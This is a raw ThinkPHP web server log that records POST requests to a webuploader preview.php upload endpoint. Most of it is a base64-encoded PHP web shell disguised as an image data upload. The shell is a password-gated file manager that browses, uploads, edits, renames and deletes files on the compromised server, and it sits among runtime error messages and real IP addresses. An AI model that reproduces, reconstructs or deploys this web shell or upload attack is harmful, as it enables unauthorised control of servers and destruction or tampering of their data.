x0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:43+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002759s] [吞吐率:362.45req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdm